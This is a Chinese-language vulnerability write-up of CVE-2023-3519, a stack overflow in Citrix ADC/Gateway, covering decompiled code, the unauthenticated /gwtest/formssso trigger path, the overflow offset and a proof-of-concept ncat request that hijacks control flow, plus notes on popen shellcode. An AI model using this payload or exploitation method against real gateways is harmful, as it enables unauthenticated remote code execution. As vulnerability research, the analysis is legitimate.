CVE-2023-3519 Cirtix Gateway RCE分析

admin 2024年10月7日20:43:43评论49 views字数 9669阅读32分13秒阅读模式

文章首发在https://www.ch35tnut.site/zh-cn/vulnerability/cve-2023-3519-cirtix-gateway-rce/

基本信息

Citrix ADC 及 Citrix Gateway 中存在缓冲区溢出漏洞,未授权的攻击者可以通过发送特殊请求触发漏洞,造成RCE。

影响版本

NetScaler ADC 、NetScaler Gateway 13.1 < 13.1-49.13 NetScaler ADC 、NetScaler Gateway 13.0 < 13.0-91.13 NetScaler ADC 13.1-FIPS < 13.1-37.159 NetScaler ADC 12.1-FIPS < 12.1-55.297 NetScaler ADC 12.1-NDcPP < 12.1-55.297

环境搭建

申请开发者试用,配置Citrix Gateway

CVE-2023-3519 Cirtix Gateway RCE分析

技术分析&调试

根据国外安全研究员研究,该漏洞存在于/netscaler/nsppe文件内,diff修复前和修复后的nsppe,主要修改了ns_aaa_gwtest_get_event_and_target_names等几个函数CVE-2023-3519 Cirtix Gateway RCE分析

转到ns_aaa_gwtest_get_event_and_target_names函数,对比修复和未修复的代码,主要在调用ns_aaa_saml_url_decode函数时对v29添加了校验。CVE-2023-3519 Cirtix Gateway RCE分析

跟进ns_aaa_saml_url_decode函数,进入ns_aaa_saml_url_decode_inner

__int64 __fastcall ns_aaa_saml_url_decode(__int64 a1, __int64 a2, __int64 a3){  return ns_aaa_saml_url_decode_inner(a1, a2, a3, 1LL);}

ns_aaa_saml_url_decode_inner函数中a1是一个char指针,指向了http请求的url,在do while循环时遍历a1数组,当当前a1指向的字符是%,则获取到该字符后面两个字符通过datatable_ascii2bin得到对应的字符并写入到v4指向的数组内,实际上这里是url解码操作,解码后写入v4数组。如果当前字符不是%则判断是不是+号,是+号则在v4数组内写入空格。两个都不是则直接写入到v4内,可以看出这块代码是在对传入的字符串判断是否为url编码如果是则进行url解码,如果不是则直接写入v4数组。

__int64 __fastcall ns_aaa_saml_url_decode_inner(char *a1, _BYTE *a2, int a3, int a4){  _BYTE *v4; // rax  unsigned __int64 v5; // r8  char v6; // bl  char *v7; // r9  char v8; // r10  char v9; // r11  LODWORD(v4) = (_DWORD)a2;  if ( a3 )  {    v5 = (unsigned __int64)&a1[a3];    v4 = a2;    do    {      v6 = *a1;      if ( *a1 == '%' )      {        v7 = a1 + 2;        if ( (unsigned __int64)(a1 + 2) < v5 )        {          v8 = a1[1];          if ( (unsigned __int8)(v8 - 48) <= 9u )          {            v9 = *v7;            if ( (unsigned __int8)(*v7 - 48) < 0xAu || (unsigned __int8)((v9 | 0x20) - 97) < 6u )            {              if ( v9 != 53 )                v7 = a1;              if ( (unsigned __int64)(a1 + 4) >= v5 )                v7 = a1;              if ( v8 != 50 )                v7 = a1;              if ( !a4 )                v7 = a1;              *v4 = datatable_ascii2bin[(unsigned __int8)v7[2]] + 16 * datatable_ascii2bin[(unsigned __int8)v7[1]];              a1 = v7 + 3;              goto LABEL_4;            }          }        }      }      else if ( v6 == '+' )      {        *v4 = 32;        ++a1;        goto LABEL_4;      }      ++a1;      *v4 = v6;LABEL_4:      ++v4;    }    while ( (unsigned __int64)a1 < v5 );  }  return (unsigned int)((_DWORD)v4 - (_DWORD)a2);}

在循环中,写入的数组来源于传入的参数a2,并且do while循环结束是通过判断a1 < v5v5 = &a1[a3];a1是传入的char数组,a3是传入的int。向上追溯调用参数来源。ns_aaa_saml_url_decode函数的v5最终来源于传入的a1参数,a2为传入的参数,v25来源于*(a1+174)。不难猜测a1应为一个结构体指针,该指针指向的结构体中存储了指向存储请求url的char数组及该数组的长度,该段代码为解析url的各个参数,并根据参数不同进行的操作。

__int64 __fastcall ns_aaa_gwtest_get_event_and_target_names(__int64 a1, __int64 a2, unsigned int *a3){  unsigned int v3; // r13d  unsigned int *v4; // rbx  __int64 v5; // r12  unsigned int v6; // r14d  __int64 v7; // r13  __int64 v8; // r12  int v9; // r8d  __int64 v10; // r10  unsigned __int16 v11; // ax  __int64 v12; // rcx  unsigned int v13; // eax  int v14; // ecx  bool v15; // cf  int v16; // eax  __int64 v17; // rcx  int v19; // r14d  __int64 v20; // rax  int v21; // ecx  unsigned int v22; // r13d  __int64 v23; // rax  unsigned int v24; // edx  __int64 v25; // rdx  int v26; // eax  unsigned int v27; // [rsp+0h] [rbp-50h]  __int64 v28; // [rsp+18h] [rbp-38h] BYREF  __int64 v29; // [rsp+20h] [rbp-30h]  v3 = *(unsigned __int16 *)(a1 + 174);  v27 = v3 - 17;  if ( v3 < 0x20 )  {    v4 = a3;    v5 = 0LL;    v6 = 1441793;    v7 = 0LL;    goto LABEL_7;  }  v8 = *(_QWORD *)(a1 + 36);  v29 = v8 + 17;  v4 = a3;  if ( (unsigned int)strncmp("event=", v8 + 17, 6LL) )  {    v6 = 1441800;LABEL_5:    v5 = 0LL;    goto LABEL_6;  }  if ( !(unsigned int)strncmp(v8 + 23, "start&", 6LL) )  {    v19 = -29;    v20 = 29LL;    v21 = 1;  }  else  {    if ( (unsigned int)strncmp(v8 + 23, "done&", 5LL) )    {      v6 = 1441801;      goto LABEL_5;    }    v19 = -28;    v20 = 28LL;    v21 = 2;  }  *v4 = v21;  v5 = v20 + v8;  v22 = v3 + v19;  v6 = 1441802;  v27 = v22;  if ( (unsigned int)strncmp("target=", v5, 7LL) )    goto LABEL_6;  v23 = _wrap_memchr(v5 + 7, 38LL, (int)(v22 - 7));  v24 = v22 - 7;  v25 = v24 + 1;  if ( (_DWORD)v25 != v22 - 6 )  {LABEL_6:    v7 = v29;    goto LABEL_7;  }  v26 = ns_aaa_saml_url_decode(v5 + 7, a2, v25);

ns_aaa_gwtest_get_event_and_target_namesns_aaa_gwtest_get_valid_fsso_server调用,其中v15为栈内char数组,大小为128字节。分析到这可以猜测,由于请求url的参数可控,自然请求url长度也可控,而v15这个数组为栈内数组,大小为128字节。ns_aaa_saml_url_decode_inner函数中循环次数由url长度决定,也就是可以控制写入v15数组的字节数,如果url过长则在循环时写入的字节数超过128字节,造成栈溢出。

__int64 __fastcall ns_aaa_gwtest_get_valid_fsso_server(__int64 a1){  __int64 v1; // rbx  unsigned int v2; // eax  int v4; // r8d  int v5; // r9d  unsigned __int16 v6; // ax  int v7; // r8d  int v8; // r9d  __int64 v9; // rcx  unsigned int v10; // eax  int v11; // ecx  bool v12; // cf  int v13; // eax  __int64 v14; // rcx  __int128 v15[8]; // [rsp+10h] [rbp-A0h] BYREF  unsigned int v16; // [rsp+94h] [rbp-1Ch] BYREF  __int64 v17; // [rsp+98h] [rbp-18h] BYREF  int v18[3]; // [rsp+A4h] [rbp-Ch] BYREF  memset(v15, 0, sizeof(v15));  v16 = 0;  v18[0] = 0;  if ( (unsigned int)ns_aaa_gwtest_get_event_and_target_names(a1, (__int64)v15, &v16) )

向上追溯调用到该函数需要的路径,ns_aaa_gwtest_get_valid_fsso_serverns_aaa_gwtest_handler调用,在代码中可以看到当请求url+8处为formssso时才会进入到调用ns_aaa_gwtest_get_valid_fsso_server函数的逻辑。

__int64 __fastcall ns_aaa_gwtest_handler(__int64 a1, __int64 a2, __int64 a3, __int64 a4){  __int64 v5; // r15  __int64 v6; // rax  __int64 v7; // rcx  _QWORD *v8; // rax  unsigned int v9; // r13d  __int64 valid_fsso_server; // rax  __int64 v11; // rbx  unsigned int v12; // r14d  __int64 v13; // rax  __int64 is_valid_auth_action; // rax  __int64 v15; // rax  __int64 v16; // rcx  unsigned int v17; // eax  __int64 v18; // rcx  __int64 v20; // rcx  __int64 v21; // rdx  __int64 v22; // [rsp+0h] [rbp-30h]  v5 = a3;  v6 = ns_async_ctx;  if ( ns_async_ctx )  {    v20 = (unsigned int)ns_async_callers_context_size;    if ( *(_DWORD *)(ns_async_ctx + (unsigned int)ns_async_callers_context_size + 108) != 1486 )      panic_0("Incorrect context id in ASYNC_SAVE_CTX", a2, a3, (unsigned int)ns_async_callers_context_size, a4);    v12 = *(_DWORD *)(ns_async_ctx + (unsigned int)ns_async_callers_context_size + 112);    v11 = *(_QWORD *)(ns_async_ctx + (unsigned int)ns_async_callers_context_size + 116);    *(_DWORD *)(ns_async_ctx + (unsigned int)ns_async_callers_context_size + 112) = 0;    *(_QWORD *)(v6 + v20 + 116) = 0LL;    goto LABEL_41;  }  v7 = *(_QWORD *)(a2 + 36);  v8 = (_QWORD *)(v7 + 8);  a3 = *(_DWORD *)(v7 + 8) | 0x20202020u;  v9 = 32;  if ( (int)a3 <= 'lmar' )  {    if ( (_DWORD)a3 == '?dck' )    {      v12 = 7;      v11 = 0LL;      goto LABEL_41;    }    if ( (_DWORD)a3 == 1752462689 )    {      if ( (*v8 | 0x2020202020202020LL) != 'vreshtua'        || (*(unsigned __int16 *)(v7 + 16) | 0x2020) != 29285        || (*(_BYTE *)(v7 + 18) | 0x20) != 63 )      {        return v9;      }      v22 = a4;      is_valid_auth_action = ns_aaa_gwtest_is_valid_auth_action(a2);      if ( is_valid_auth_action )      {        v11 = is_valid_auth_action;        v12 = 1;        goto LABEL_39;      }      return 3907;    }    if ( (_DWORD)a3 != 'lluf' )      return v9;    v12 = 9 * ((*(_BYTE *)(v7 + 12) | 0x20) == 63);LABEL_20:    v11 = 0LL;    if ( !v12 )      return v9;    goto LABEL_41;  }  if ( (int)a3 <= 'nahb' )  {    if ( (_DWORD)a3 == 'lmas' )    {      if ( (*(_WORD *)(v7 + 12) | 0x2020) == (*(_WORD *)"SP?" | 0x2020)        && (*(_BYTE *)(v7 + 14) | 0x20) == (aSamlsp_0[6] | 0x20) )      {        v22 = a4;        v13 = ns_aaa_gwtest_is_valid_auth_action(a2);        if ( v13 )        {          v11 = v13;          v12 = 3;          goto LABEL_39;        }      }      else      {        if ( (*(_WORD *)(v7 + 12) | 0x2020) != (*(_WORD *)"IdP?" | 0x2020)          || (*(_BYTE *)(v7 + 14) | 0x20) != (aSamlidp_1[6] | 0x20) )        {          return v9;        }        v22 = a4;        v15 = ns_aaa_gwtest_is_valid_auth_action(a2);        if ( v15 )        {          v11 = v15;          v12 = 4;          goto LABEL_39;        }      }    }    else    {      if ( (_DWORD)a3 != 'mrof' || (*v8 | 0x2020202020202020LL) != 'osssmrof' || (*(_BYTE *)(v7 + 16) | 0x20) != 63 )        return v9;      v22 = a4;      valid_fsso_server = ns_aaa_gwtest_get_valid_fsso_server(a2);

ns_aaa_gwtest_handlerns_vpn_process_unauthenticated_request函数调用,在ns_vpn_process_unauthenticated_request函数中有如下逻辑,当请求路径为/gwtest/时进入调用到目标函数的逻辑。

        if ( v51 == 1702131559 )        {          if ( (*(_QWORD *)v26 | '        ') != '/tsetwg/' )            goto LABEL_2888;LABEL_437:          if ( ns_async_ctx && *(_DWORD *)(ns_async_ctx + (unsigned int)ns_async_callers_context_size + 108) != 652 )            panic_0(              "Async context ID does not match expected context ID NS_ASYNC_CTX_AAA_UNAUTH_GWTEST",              a2,              v25,              (unsigned int)ns_async_callers_context_size,              v26);          v25 = (unsigned int)(ns_async_callers_context_size + 192);          ns_async_callers_context_size += 192;          v30 = v1891;          if ( ns_async_ctx )          {            if ( *(_DWORD *)(ns_async_ctx + 8) != -87101427 )              goto LABEL_4683;            if ( (unsigned int)v25 < *(_DWORD *)(ns_async_ctx + 104) )            {              a2 = (unsigned int)v25;              v25 = (unsigned int)(*(_DWORD *)(ns_async_ctx + (unsigned int)v25 + 108) - 172);              if ( (unsigned int)v25 >= 0x611 )                goto LABEL_759;            }          }          v164 = ns_aaa_gwtest_handler((__int64)v1896, v1897, 0LL, v1891);

综上可以总结到调用到漏洞函数ns_aaa_saml_url_decode_inner所需要的url为:

http://target/gwtest/formssso?event=start&target=[overflow char]

只需要让[overflow char]过长即可溢出在ns_aaa_gwtest_get_valid_fsso_server函数内的char数组,造成溢出。查看nsppe防护,可以发现PIE,CANARY都没开,只需要利用栈溢出写入shellcode然后jmp esp即可执行shellcode。

# checksec --file=nsppe_unpatchedRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable        FILENo RELRO        Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   68527 Symbols     No    0               0 nsppe_unpatched

动态调试找到nsppe进程

root@citrix3# ps aux | grep nspperoot        457 100.0 43.2 693320 693560  -  Rs   19:10   223:34.32 nsppe (NSPPE-00)

禁用看门狗,使用命令禁止发送该信号

root@citrix3# nspf helpUsage: '/netscaler/nspf ((<process_name> | <pid>) <action> | query)'  where <process_name> is one of:    NSPPE-00      aslearn       awsconfig     bgpd          de    imi           isisd         metricscollectomonuploadd    nsaaad    nsaggregatord nscfsyncd     nsclfsyncd    nsclusterd    nsconfigd    nscopo        nsfsyncd      nsgslbautosyncnslcd         nslped    nsm           nsnetsvc      nsrised       nstraceaggregatnsumond    ospf6d        ospfd         ptpd          ripd          ripngd    snmpd         syshealthdroot@citrix3# /netscaler/nspf nsppe-00 pbmonitor 0nspf NSPPE-00 pbmonitor 0Removing pitboss monitor on process NSPPE-00 pid 37387

使用Citrix ADC自带的gdb附加调试nsppe

gdb /netscaler/nsppe 461

使用pattern_creat.rb创建字符串

┌──(root㉿kali)-[~]└─# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

发送payload,触发漏洞,此时rsp为6641376641366641,对应offset为168,也就是168开始覆盖rsp。CVE-2023-3519 Cirtix Gateway RCE分析

发送payload,触发漏洞,此时rip指向0xcc指令地址,gdb断下

echo -ne 'GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAx62x8cx6dx00x00x00x00x00xcc HTTP/1.1rnHost: 192.168.52.108rnrn' | ncat --ssl 192.168.52.108 443

在gdb中可以看到缓冲区位于rbp-0xa0处。CVE-2023-3519 Cirtix Gateway RCE分析

通过谷歌,知道在Citrix ADC中,nsppe是网络子系统,一当nsppe进程down了,会造成系统无法处理网络请求,最直观的表现就是当ssh连接目标系统并使用gdb调试nsppe进程的时候,ssh会卡死,而后退出,因为服务器的网络子系统处于调试状态,没办法处理网络请求。

所以在整个利用过程中,为了保证能够获取到shell/保活系统,要保证nsppe进程不会挂掉。通过shellcode调用popen函数然后执行系统命令,并返回到上层调用栈(保证请求正常返回)。

之后就是常规则shellcode编写了,直接使用二进制文件内硬编码的popen函数地址即可。需要注意的就是nsppe内实现的url解码逻辑有点不太一样, 具体参考参考链接,这里就不详细展开了。

小结

整个漏洞产生和利用原理简单直接,因为nsppe没有开启任何溢出防护措施,直接使用jmp esp即可,让我想起了这个经典表情包

CVE-2023-3519 Cirtix Gateway RCE分析

不知道是不是因为这个引擎起源比较久的原因,nsppe没有去除调试符号,对于理解原理和调试exp都有非常大的帮助。

https://mybrokencomputer.net/t/citrix-adc-netscaler-developer-license/42

https://blog.assetnote.io/2023/07/24/citrix-rce-part-2-cve-2023-3519/

原文始发于微信公众号(闲聊趣说):CVE-2023-3519 Cirtix Gateway RCE分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日20:43:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-3519 Cirtix Gateway RCE分析https://cn-sec.com/archives/2499608.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息